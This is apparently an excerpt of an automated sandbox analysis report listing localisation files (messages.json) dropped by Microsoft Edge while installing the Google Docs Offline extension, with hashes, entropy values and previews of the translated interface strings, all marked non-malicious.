Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7800_1509315784\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
